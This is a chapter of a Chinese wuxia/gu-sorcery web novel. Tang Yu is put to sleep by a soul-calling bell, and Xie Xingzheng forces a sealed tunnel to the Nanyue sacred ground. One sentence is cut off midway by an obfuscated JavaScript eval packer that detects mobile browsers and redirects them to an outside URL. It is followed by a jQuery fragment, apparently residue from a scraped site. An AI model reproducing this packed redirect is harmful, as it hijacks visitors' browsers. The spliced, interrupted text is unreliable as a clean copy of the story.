70. 绮梦 一

作品:《江湖何曾骗真心

    “换皮……”唐雨抬起头,喃喃自语。


    难怪她与自己记忆中的样子,毫无相似之处,看来真是经受了极大的痛苦,才有今日的月楹。


    月楹讨厌她那看透一切的模样,眼中隐隐露出不善,却又忌惮她体内的蛊。


    “你还有什么好奇?不如今日我等一并解答。”月楹恢复笑吟吟的模样,不肯展露半分胆怯。


    唐雨倒也不客气:“我好奇,即使我与绮梦融合,你们又如何笃定,我会帮南月呢?”


    此话问得众人一时哑然。


    她说此话并非挑衅,也没有嘲讽,只是切实的疑问。


    毕竟若她仍是唐雨,有人的喜怒哀乐、是非正义,那恨他们还来不及,又怎会为虎作伥?


    可即便,体内的绮梦让她如旁观者般,能清楚理智去分析利弊。一个对过往爱恨不起波澜,也再无未来念想的蛊,又凭什么帮你?


    月息面色有些许不自然,磕磕绊绊道:“因为,因为圣女的本能,便该守护南月……”


    唐雨想了想,偏头:“嗯?那只是因为,她们脑子坏掉了。”


    月息:“……?”


    她解释得极为认真:“那只是被困久的‘小兽’,依恋熟悉的笼子罢了。”


    年幼孩子自小在蛊池中,经受苦痛与厮杀长大,世界观简单得很。


    而活下的“月绮梦”情感又被钝化,既不会恨,也不会怨。


    作为万蛊中的最强者,她们从未踏出的那一方血池,自然会觉得那就是她的全世界。


    便以蛊的思维,本能的去守护自己的巢穴。


    可她不同。


    按理说,她在蕴岭山长大,即便要独困一隅,南月也绝不会是她的第一选择。


    甚至,她可以没有留恋地去任何地方。


    月息脸色骤变,竟难得显出几分迷茫与恐惧。


    “我早就说过。即使我不杀她,她也不会帮你们。”看着这讽刺的一幕,月楹大笑出声,连眼角都渗出一丝泪意,癫狂又可悲。


    月息被她的嘲笑气得发抖,可慌乱也只短短持续一瞬。


    在月楹嘲讽目光下,他咬咬牙,像终于下定什么决心。


    下一刻,自宽大袖中,取出一枚古朴的暗金色小铃铛,其上布满细密繁复的符纹,似有无数虫影蛰伏其中。


    “叮——”


    随着月息轻晃小铃,极轻地低鸣飘荡在血池之中,宛若伤心少女的呜咽,压抑悲戚到极致。


    声音在唐雨脑中轰然一震,眼前瞬间宛若天眩地转。


    明明,她的经脉血肉正在被绮梦蛊重塑,失去的气力精神也都在恢复。


    可现在,却像全身力气都突然被抽空。意识清醒,却无法驱使身体。


    唐雨缓缓蹙眉,察觉到危险存在,冷冷看向他们。


    月息长老此时完全换了副嘴脸,看似慈祥,实则阴鸷,“你真以为,月氏没有应对月绮梦的手段吗?”


    他举着铃铛,用手指轻拨,铃音散开,唐雨变得更加困倦。


    “你应该见过我们用类似的唤魂铃吧。可那些,只能操控普通蛊虫。”月息轻叹。


    “我月氏神巫,很早便意识到,圣女虽能控万蛊,也确有失控的风险。”


    他说着,微微扬起手中的铃铛,眼神灼热,“为此,我们专门打造出,这世间独一份的唤魂铃。”


    “你倒也无需担心。”月楹眼神落有似无瞟过那铃,又看向唐雨,唇角挑起毫无温度的弧度,“绮梦毕竟是蛊王,此铃无法控制你,只是让你沉睡。”


    月息眉头微皱,显然是不满她将诸多细节告知圣女,轻哼一声:“她还未完全成为月绮梦,唤魂铃作用只多不少。”


    月楹却并不在意,只盯着血池中的唐雨,眼底精光闪过。


    虽脑内仍有些许混沌,可唐雨还是敏锐意识到:这两人并非一条心,甚至是互相提防的。


    由绮梦主导的极致理性告诉她,这铃铛很危险,应该先答应对方条件,再等待时机获取自由。


    可内心,也同时有唐雨最真实的念头,渴望采取更为冒险的方式。


    月息语调轻柔:“如何?圣女大人,可愿与我们合作?”


    “好呀。”她轻声说。


    唐雨看着他,未被任何情绪左右,冷静地在安全与风险间,做出了最合理的选择。


    月息神情大松,满意极了,将唤魂铃收回袖中。


    就在月楹也准备移开视线的刹那,她似乎看见,唐雨的眼底,有一道极淡的金光闪过。


    只是太快,太淡。


    或许,是她看错了……


    *


    另一边,谢行征带着几名部下,并未费太多气力,便寻到当初唐雨受伤休养的山间木屋。


    虽然月楹一行曾尽力掩去踪迹,但南月地势险峻、林密雾重,加之带有重伤之人,终归难以天衣无缝。


    尤其是在谢家军这种常年行军探敌、追迹破阵的老手面前。


    他们只略费心力,便能清晰重现对方曾走过的路线。


    木屋内,大部分南月人都于昨日动身前往圣地,使得防卫也形同虚设。


    让他们几乎不费吹灰之力,便将此地控下。


    而此时,谢行征正站在榻旁。


    他盯着那未来得及收拾的床铺,和被褥上清晰无比被血浸透的痕迹,罕见地有片刻怔忪。


    说不上来,是庆幸更多,还是担忧更盛。


    那伤,到底重成什么样?


    她又如何抗住山路颠簸?


    就在他垂眸沉思时,一名下属疾步进来,双手呈上两件小物。


    “少将军。此乃炉灶中未烧尽的东西。审问过侍女……说是唐雨小姐的。”


    谢行征接过。


    掌心中,是一对烧得变色的珍珠耳坠,还有她日常随身携带的银针。


    骨节微紧,他深吸一口气,将耳坠与银针小心地用布细细包好,放入怀中。


    他想:总会有机会,还给她。


    “少将军。”下属再次开口,“南月叛党已前往圣地。接下来……该如何安排?”


    谢行征抬起头,目光冷静而沉稳:“他们走的是掩人耳目的山道。”


    他顿了顿,视线投向阴云压顶的天。


    “可当年,南月皇宫中,还有一道直通圣地的捷径。”


    *


    南月皇宫自战争过后,便被废弃多年,杂草枯枝几乎将宫道掩埋,庭院更是破落蒙尘。


    即便如此,却仍能从断裂宫墙上的金漆、坍塌的屋脊的上等乌木,看出南月昔日的繁华。


    至于那条通往圣地的密道,在大夏攻破南月后,便是由谢家军亲手用砖石封死。


    此后,大夏派往南疆的守军,也会定期来巡检此处。


    因此,月楹等人才会为了避免惊动大夏,不给朝廷一个师出有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749575|180495||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    名的平叛理由,选择更崎岖的山路。


    但谢行征却对此毫无顾虑。


    此番夏南蛊疫的真相,已足够让南月余孽人头落地。


    他抬手一挥,只简单吐出两个字:“砸开。”


    既当初是谢家军所封,他们自然知道哪处最薄弱。


    短短半柱香不到,封砌的砖石便被暴力破开,一处幽深漆黑的洞口露了出来。


    “留一部分人在外策应,其余随我入内。”


    谢行征一声令下,借着火折子微弱的光,进入甬道内。


    这尘封许久的密道,潮湿逼仄,空气里混着腐败与霉味。


    担心火折太旺会耗尽氧气,谢行征只许领头燃光,剩余人则随着在黑暗中摸索前行。


    再往里走,渐渐进入一处上窄下宽的怪异崖缝。


    风声乍响,几股阴寒之气猛地袭来。


    谢行征反应迅捷,剑芒寒光闪过,几招便将袭击之物斩断,掉落在地发出沉闷肉响。


    可紧接着,地面又响起沙沙的细小滑动声。


    不用火光,他也知道这是南月常用的毒虫蛇鼠伎俩。


    “小心!快离开此处。”谢行征提醒道。然后脚尖施力,飞速向前掠去,在黑暗中连斩十余道阴影。


    谢家军训练有素,竟无一人落队。


    等离开崖缝那诡异区域,前方竟又豁然开朗,是一片曲折蜿蜒的溶洞。


    洞顶成片的钟乳石低垂,水光摇曳。


    谢行征蹲下,见那石窟之水竟汇成一小股水流,当即下令。


    “顺着水走。”


    可不知走了多久,谢行征忽觉不对劲。


    他猛然回头,身后竟空空如也。


    黑暗、潮湿、寂静,竟是一个人也没有跟上来。


    谢行征心头一紧,却毫无头绪。


    他知此地布局诡异,回头也极可能找不回同伴,只能继续往前。


    可那水流,却在某处戛然而止。


    谢行征试探着再往前一步,却竟差点脚下踩空,落入潭中。


    原来,水源不是消失,而是汇入眼前这池古怪的黑水,它仿佛能将水面透进来的光线全数吸收,叫人难以觉察。


    就在他俯身,正准备细查之时。


    突然,水面“哗”的一声破开。


    一道黑影从水底猛然窜出,直朝他喉间袭来!


    谢行征立刻闪身后退,剑锋扬劈,逼得那黑影暂缓击杀。


    可对方速度极快,在黑暗中无形无影,宛若结怨幽魂般不依不饶。


    谢行征被迫与之在窄地交手。


    就在他踏向右侧闪避之时,突然,一脚踩空——


    整个人瞬间直直往下坠去!


    他未有慌乱,抽剑刺入岩壁借力,可剑锋却像刺进了空气般,根本无法固定。


    黑暗中,他几乎只能等待坠跌至底的那刻。


    千钧一发之际,一道白影俯冲而来,迅速抓住他的手腕,并顺势揽住他的腰。


    借着岩壁微凸,对方带着他几番借力、腾挪。


    最终,两人轻巧落在一片柔软的草地之上。


    谢行征稳住身形,借着岩缝间透出的微光,他发现此处竟种满艳丽的花朵,迷人而热烈的盛放。


    回过头,救下他的人,一袭白衣,笑意温柔,眼中还带着些小得意。


    竟正是,他苦苦寻找的。


    唐雨。